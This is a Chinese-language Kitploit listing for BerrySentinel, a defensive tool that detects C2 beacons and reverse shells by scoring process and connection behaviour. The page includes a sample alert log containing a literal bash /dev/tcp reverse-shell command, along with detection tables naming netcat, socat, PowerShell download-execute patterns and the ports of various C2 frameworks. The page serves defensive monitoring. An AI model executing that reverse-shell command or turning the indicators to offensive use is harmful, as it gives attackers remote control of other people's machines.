Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
BerrySentinel — Berry Sentinel v5.0 — 针对 Linux/Windows/Unix 系统的先进行为型 C2 与反弹 shell 检测器。功能包括实时连接分析、启发式评分、C2 框架签名检测、信标间隔分析,以及带进程终止引擎的交互式基于 curses 的 TUI。 | Kitploit
工具/GitHubGitHub/dereeqw/berrysentinel
防御工具网络安全恶意软件分析渗透测试命令与控制威胁情报入侵检测红队事件响应异常检测日志分析
GitHub
1366个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
dereeqw/berrysentinel

BerrySentinel

Berry Sentinel v5.0 — 针对 Linux/Windows/Unix 系统的先进行为型 C2 与反弹 shell 检测器。功能包括实时连接分析、启发式评分、C2 框架签名检测、信标间隔分析,以及带进程终止引擎的交互式基于 curses 的 TUI。

查看仓库

🫐 Berry Sentinel

实时C2(命令与控制)连接行为检测器

零特征码 · 防弹收集 · 深度扫描 · 终止引擎

Python 3.8+ Platform License: MIT


这是什么?

Berry Sentinel 监控你系统上所有活跃的网络连接,并分析生成这些连接的进程的行为,以检测恶意活动 —— 无需使用杀毒软件的特征码数据库或IP黑名单。

它通过观察进程的行为方式来检测反向Shell、Webshell、RAT、C2信标以及Meterpreter、Cobalt Strike、Sliver或Empire等框架:如果一个Python解释器的stdin连接到了一个远程socket,即使IP未知,这也值得怀疑。

root@kitploit:~
╔══════════════════════════════════════════════════════════════════════════════════╗
║  BERRY SENTINEL v5.0 — 行为C2检测器 · 交互式TUI                              ║
║  连接数: 38 │ 威胁: 2 │ 特征: 1 │ 通过 proc/open+ss │ 12ms │ #47             ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ ID  严重度   分值  PID   进程  远程地址              状态   特征/标签           ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║  3  █严重     85   1337   bash    1.2.3.4:4444   ESTAB  ⚑Meterpreter SHELL→NET. ║
║  7  ▲高       52   2048   python3 5.6.7.8:8443   ESTAB  TLS-NOBR BCN(60s)      ║
╚══════════════════════════════════════════════════════════════════════════════════╝

特性

  • 交互式TUI(终端用户界面) 基于curses:↑↓导航、连接详情、内置终止引擎
  • 纯行为分析:无需杀毒特征码,无需IP黑名单
  • 信标检测:通过连接的规律间隔识别C2连接(Cobalt Strike约60s,Empire约5s等)
  • 识别14种以上C2框架:Meterpreter、Cobalt Strike、Sliver、Empire、Havoc、Brute Ratel、Pupy、Merlin、Covenant、Mythic...
  • 深度扫描(需要root):分析进程内存、RWX内存区域、环境变量、已从磁盘删除的可执行文件
  • 防弹收集:并行使用5种收集方法(/proc/net、ss、netstat、psutil、lsof),自动去重
  • 跨平台:Linux、macOS、Windows、Android/Termux
  • JSON和日志导出:警报格式为JSONL,兼容jq、ELK、Splunk
  • 白名单:通过CIDR忽略信任的IP或网络
  • 基本模式下零依赖(仅stdlib);可选psutil以获得额外覆盖

安装

root@kitploit:~
# 克隆仓库
git clone https://github.com/dereeqw/BerrySentinel.git
cd BerrySentinel 

# (可选但推荐)安装psutil
pip install psutil

# 运行
python3 BerrySentinel.py

Android / Termux

root@kitploit:~
pkg install python
pip install psutil
python3 BerrySentinel.py --no-tui  # curses在Termux上可能不可用

无需安装(一行命令)

root@kitploit:~
curl -O https://raw.githubusercontent.com/dereeqw/BerrySentinel/main/BerrySentinel.py
python3 BerrySentinel.py

使用方法

root@kitploit:~
python3 BerrySentinel.py [选项]

选项:
  --all, -a           包含本地/环回连接(除远程外)
  --interval N, -i N  每N秒刷新一次(默认:2,最小:0.5)
  --log FILE, -l FILE 将警报保存到文件中(JSONL格式)
  --json, -j          退出时导出完整JSON
  --whitelist LIST    要忽略的IP或CIDR,用逗号分隔
  --no-color          无ANSI颜色(适用于管道或日志)
  --verbose, -v       显示所有连接,而不仅仅是可疑的
  --top N, -t N       表格最大行数(默认:50)
  --diag, -d          诊断:显示哪些收集方法有效
  --no-tui            无curses的旧版模式(经典滚动,更便携)
  --version, -V       显示版本并退出

示例

root@kitploit:~
# 交互式TUI —— 推荐模式
python3 BerrySentinel.py

# 使用root进行深度扫描(访问进程内存)
sudo python3 BerrySentinel.py --all

# 保存警报并在退出时导出JSON
python3 BerrySentinel.py --log /var/log/sentinel.log --json

# 忽略内部网络并每5秒刷新一次
python3 BerrySentinel.py --whitelist 192.168.0.0/16,10.0.0.0/8 --interval 5

# 文本模式,用于脚本或通过SSH且无交互式终端
python3 BerrySentinel.py --no-tui --no-color | tee monitoring.txt

# 查看哪些收集方法在当前系统上有效
python3 BerrySentinel.py --diag --no-tui

# 仅严重警报,每10秒更新,保存日志
sudo python3 BerrySentinel.py --all --interval 10 --log sentinel.log --json

交互式TUI按键


评分系统

每个连接根据检测到的指标获得0到100的分数:

根据分数的严重性:


已检测的C2框架

Berry Sentinel包含以下框架的特征(通过端口、进程名称、命令行和信标模式评估):


日志格式(JSONL)

每个警报记录为独立的JSON行:

root@kitploit:~
{
  "ts": "2025-07-15T14:23:01.123456",
  "id": 42,
  "sev": "CRÍTICO",
  "score": 85.0,
  "pid": 1337,
  "name": "bash",
  "cmd": "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1",
  "remote": "1.2.3.4:4444",
  "local": "192.168.1.10:52341",
  "state": "ESTABLISHED",
  "tags": ["SHELL→NET", "PIPE-REDIR", "C2P(4444)"],
  "sigs": ["Meterpreter"],
  "src": "proc/open(self)+ss+netstat"
}

使用jq处理:

root@kitploit:~
# 仅过滤严重连接
jq 'select(.sev == "CRÍTICO")' sentinel.log

# 查看所有可疑PID
jq '[.pid] | unique' sentinel_export.json

# 按特定特征搜索
jq 'select(.sigs | contains(["CobaltStrike"]))' sentinel.log

架构

root@kitploit:~
BerrySentinel.py
├── 全局常量
│   ├── SHELL_BINS, SCRIPT_ENGINES  — Shell和解释器名称
│   ├── C2_SUSPECT_PORTS            — 典型C2端口
│   ├── PRIVATE_NETS                — 私有IP范围
│   └── C2_SIGNATURES               — 已知框架特征
│
├── 数据模型
│   ├── C2Signature   — C2特征定义
│   ├── ProcInfo      — 操作系统进程信息
│   ├── Conn          — 网络连接 + 分析结果
│   └── BeaconTracker — C2信标检测器
│
├── 数据收集
│   ├── Collector     — 协调多个网络来源
│   ├── parse_proc_net_content() — 解析 /proc/net/*
│   ├── build_inode_pid_map()    — inode→PID映射
│   ├── get_proc_info()          — 通过 /proc 获取进程信息
│   └── get_proc_info_psutil()   — 通过 psutil 获取进程信息
│
├── 分析
│   ├── Engine.analyze()    — 行为评分 + 标签
│   ├── Engine._beacon()    — 信标检测
│   └── match_signatures()  — C2特征匹配
│
├── 输出
│   ├── CursesTUI   — 交互式TUI(默认模式)
│   ├── LegacyTUI   — 无curses的ANSI输出(回退)
│   └── Logger      — 磁盘上的JSONL日志
│
└── Sentinel        — 主协调器

要求

  • Python 3.8+
  • psutil — 可选但强烈推荐(pip install psutil)

无额外依赖时,该工具使用Python标准库即可运行。psutil在macOS和Windows(无/proc)上增加覆盖。


平台


自定义

添加自己的C2特征

root@kitploit:~
from BerrySentinel import C2Signature, C2_SIGNATURES

mi_rat = C2Signature(
    name="MiRAT",
    description="未经授权的内部企业RAT",
    score_bonus=70,
    checks=[
        {"type": "port", "value": 6543},
        {"type": "cmdline", "value": r"mi_rat\.py|rat_agent"},
        {"type": "procname", "value": r"^mi_rat$"},
    ],
)
C2_SIGNATURES.append(mi_rat)

在脚本中作为库使用

root@kitploit:~
import argparse
from BerrySentinel import Sentinel, Sev

args = argparse.Namespace(
    all=True, interval=10, log=None, json=False,
    whitelist="192.168.0.0/16", no_color=True,
    verbose=False, top=100, diag=False, no_tui=True
)

s = Sentinel(args)
s._cycle_data()

for conn in s.last_conns:
    if conn.severity >= Sev.HIGH:
        proc = conn.proc
        print(f"[警报] PID {conn.pid} ({proc.name if proc else '?'}) "
              f"→ {conn.remote_addr}:{conn.remote_port} "
              f"score={conn.score:.0f} tags={conn.tags}")

自定义分析引擎

root@kitploit:~
from BerrySentinel import Engine, Conn, Sev

class MiEngine(Engine):
    KNOWN_C2_IPS = {"203.0.113.1", "198.51.100.42"}

    def analyze(self, c: Conn) -> Conn:
        c = super().analyze(c)
        # 添加自己的逻辑
        if c.remote_addr in self.KNOWN_C2_IPS:
            c.score = min(c.score + 40, 100)
            c.tags.append("KNOWN-IOC-IP")
            c.severity = Sev.CRITICAL
        return c

负责任使用警告

Berry Sentinel旨在监控你自己的系统或你有明确授权的系统。终止引擎仅在用户明确请求时才会操作。请负责任地使用,并遵守你所在司法管辖区的适用法律。


许可证

MIT — 参见 LICENSE

下载工具
按键操作
↑ / ↓在连接之间导航
d / D查看所选连接的详细信息面板
k / K终止进程(需要确认PID)
f / F循环切换严重性过滤器:全部 → 中 → 高 → 严重
r强制立即刷新
ESC关闭详细信息面板或取消操作
q退出
指标分数标签
stdin/stdout → socket+55FD→SOCK
带远程连接的Shell二进制文件+40SHELL→NET
Webshell(作为Apache/Nginx子进程的shell)+35WEBSHELL
高端口上的绑定Shell+35BIND-SHELL
使用netcat/socat+35NETCAT
/dev/tcp 或 mkfifo 重定向+40PIPE-REDIR
从磁盘删除的可执行文件+25EXE-DEL!
/tmp 或 /dev/shm 中的可执行文件+15EXE-TMP
检测到信标(循环连接)+25×置信度BCN(60s)
Meterpreter特征+55SIG:Meterpreter
Cobalt Strike特征+60SIG:CobaltStrike
Sliver特征+58SIG:Sliver
RWX内存区域+20RWX(N)
LD_PRELOAD 或 HISTFILE=/dev/null+10ENV:LD_PRELOAD
连接的脚本解释器+25INTERP→NET
命令行中的eval/exec+18EVAL
远程PowerShell(IEX、DownloadString)+30PS-REM
分数严重性颜色
≥ 65严重🔴 亮红
≥ 45高🟠 橙色
≥ 25中🟡 黄色
≥ 8低🔵 青色
< 8信息⚪ 灰色
框架加分关键指标
Meterpreter+55端口4444,进程ruby/msfconsole
Cobalt Strike+60端口50050,信标~60s,进程java
Sliver+58端口31337/8888,信标~60s
Empire+55端口1234/7777,PowerShell -enc
Brute Ratel+62端口2083,进程badger
Havoc+58端口40056,demon.x64/x86
Pupy RAT+52端口9999,pupy.py
Merlin+54端口8443,merlin-agent
Covenant+54端口7443,GruntHTTP
PoshC2+52FComServer,ImplantCore
Mythic+56端口7443,poseidon/apfell
QuasarRAT+50端口4782-4785
NetcatShell+45socat exec bash,pty
DNS-C2+40端口53,dnscat/iodine
系统支持备注
Linux✅ 完整使用root时启用深度扫描
Android/Termux✅ 完整如果curses失败,使用--no-tui
macOS⚠️ 部分无/proc;使用netstat+psutil
Windows⚠️ 部分netstat+psutil,无内存分析